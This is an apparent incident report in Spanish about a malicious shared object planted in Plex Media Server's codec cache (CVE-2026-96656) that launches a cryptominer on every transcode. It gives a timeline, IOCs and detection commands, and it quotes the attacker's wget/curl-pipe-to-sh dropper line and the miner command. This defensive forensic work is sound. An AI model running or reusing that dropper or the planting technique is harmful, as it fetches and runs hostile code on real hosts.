
Informe de incidente: un .so sin firmar en la caché de códecs de Plex Media Server ejecuta un dropper en cada transcodificación (CVE-2026-96656) — IOCs, STIX, YARA
.so sin firmar plantado en la caché de códecs de Plex Media Server ejecuta un minero de Monero en cada transcodificaciónFecha del incidente: 2026-10-17 → 2026-10-18 (UTC+02:00)
Vulnerabilidad: CVE-2026-96656 (CVSS 4.0: 8.6, asignada por CISA) — corregida en Plex Media Server 1.43.3.10861
Afectado: Plex Media Server 1.43.2.10687 (Linux, contenedor oficial linuxserver/plex)
Estado: contenido; no se requiere reconstruir el host (sin persistencia en disco fuera de la caché de códecs)
Un atacante con acceso al servidor de Plex colocó un objeto compartido sin firmar llamado
zz45fbb275.so en el directorio de códecs de la aplicación — un directorio que Plex
puebla por sí mismo y pasa a cada transcodificador mediante FFMPEG_EXTERNAL_LIBS. El objeto no
exporta nada y no declara dependencias; toda su carga útil es un único constructor en .init_array,
por lo que se ejecuta en el momento en que el transcodificador hace dlopen() sobre él.
Por lo tanto, cada transcodificación — un cliente pulsando reproducir, o las tareas de miniaturas/análisis de la biblioteca — volvía a ejecutar:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
que descargó un minero RandomX derivado de xmrig (x12345) y lo inició contra
ota.proxystream.st:3333 con --rig-id plexdocker. No había ningún cron job, ninguna unidad
systemd, ninguna edición de archivo rc y ningún binario modificado: la caché de códecs era el
mecanismo de persistencia. Matar solo el minero reinfectaba el host en la siguiente reproducción.
| Hora | Evento |
|---|---|
| 17 oct 07:50 | Primera sesión WAN desde 45.194.92.222; las solicitudes se autentican como guest, luego registran un reproductor Companion y manejan /player/* y los endpoints del agente |
| 17 oct 17:20 | zz45fbb275.so creado en …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ (cambia el mtime del directorio; no aparece ningún otro archivo) |
| 17 oct 17:23 | Se escribe /tmp/x12345 (8.350.992 bytes) |
| 17 oct 17:40 | Minero en ejecución: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, ~127 % de CPU |
| 18 oct 10:48 | Una segunda cadena de dropper lanzada por un transcode posterior — el payload se vuelve a ejecutar bajo demanda |
| 18 oct 11:14 | Detección: se encontró el proceso de minería con el PPid apuntando al PID 1 del contenedor |
| 18 oct 11:20–11:35 | Contención: se eliminó el .so, se actualizó Plex a 1.43.4, se bloqueó el acceso WAN al 32400 |
El servidor era accesible desde internet (mapeo de puerto UPnP del propio Plex). Los registros de
Plex muestran que la fuente 45.194.92.222 se autenticó como guest y emitió llamadas al agente
en el minuto exacto en que apareció el .so; una segunda dirección, 91.92.40.202, también aparece
con autenticación de guest.
La descripción pública de CVE-2026-96656 coincide exactamente con este artefacto:
Plex Media Server anterior a 1.43.3.10861 permite a un usuario administrador escribir archivos arbitrarios que pueden ejecutarse al cargarse. La preferencia
TranscoderH264Optionsse añade literalmente a la cadena de opciones de x264 en cada transcode. Al iniciarse, todos los archivos .so se ejecutan sin comprobaciones de firma, bit de ejecución ni símbolos.
Dos consecuencias que merece la pena señalar claramente:
PR:H). Las solicitudes autenticadas como guest anteriores no
explican por sí solas la escritura del archivo, por lo que el token de administrador del servidor debe
considerarse comprometido independientemente de cómo se realizara la solicitud..so en
el directorio de códecs, por lo que una biblioteca que no hace nada con un único constructor es un
payload completo.No capturamos la solicitud específica que escribió el archivo — la caída está evidenciada
por las marcas de tiempo del sistema de archivos y la cadena de ejecución, no por una captura de
paquetes. La preferencia TranscoderH264Options en el host afectado se encontró vacía después,
por lo que el valor usado para escribir el archivo fue o bien restablecido o sobrescrito; esa es la única
pieza de la cadena que no podemos reconstruir a posteriori.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
Como el constructor se ejecuta al cargar, el objeto no necesita implementar ninguna API de códec. Solo necesita estar en un directorio desde el que el transcodificador carga bibliotecas.
Detalles de ubicación que vale la pena detectar:
lib*.so; todos los archivos legítimos en el directorio de códecs lo hacen (libh264_decoder.so, libhevc_decoder.so, …). Es probable que se haya elegido zz para que se ordene al final.Codecs/<set-id>-linux-x86_64/) normalmente solo lo escribe la propia descarga de códecs de Plex, cuyos archivos llevan todos el prefijo lib.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder es el único otro objeto que no lleva lib y que pertenece a ese árbol.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker es una etiqueta de operador fija — útil para búsquedas de pivote en datos de flujo y telemetría de pool. El proceso se encontró en estado T (detenido) ocupando ~2.3 GB de RSS: detenido no es inofensivo, se reanuda y sigue calculando hashes.
PPid apuntaba al PID 1 del contenedor (s6-svscan) porque el padre real ya había terminado — reparenting, no supervisión. El lanzador real era visible solo a través del socketpair compartido: ss -xp listaba la cadena sh/wget, Plex Transcoder, el servicio de sintonizador y el servidor de Plex en el mismo par de sockets, y al recorrer los hijos del Plex Transcoder activo se mostraba el dropper como su hijo. El disparador fue el propio transcodificado.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
Cualquier coincidencia que no sea EasyAudioEncoder es sospechosa. También marca un directorio de códecs cuya
mtime cambió sin que se haya añadido un lib*.so correspondiente.
Comprueba la preferencia que CVE-2026-96656 aprovecha para la escritura arbitraria de archivos:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
Un valor no vacío merece ser leído — se añade literalmente a la cadena de opciones de x264 en cada transcodificación, y cualquier cosa con forma de nombre de archivo en él termina escrita en disco. En el host aquí estaba vacío tras el incidente, así que la ausencia no es prueba de ausencia: correlacionar con el mtime del archivo.
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'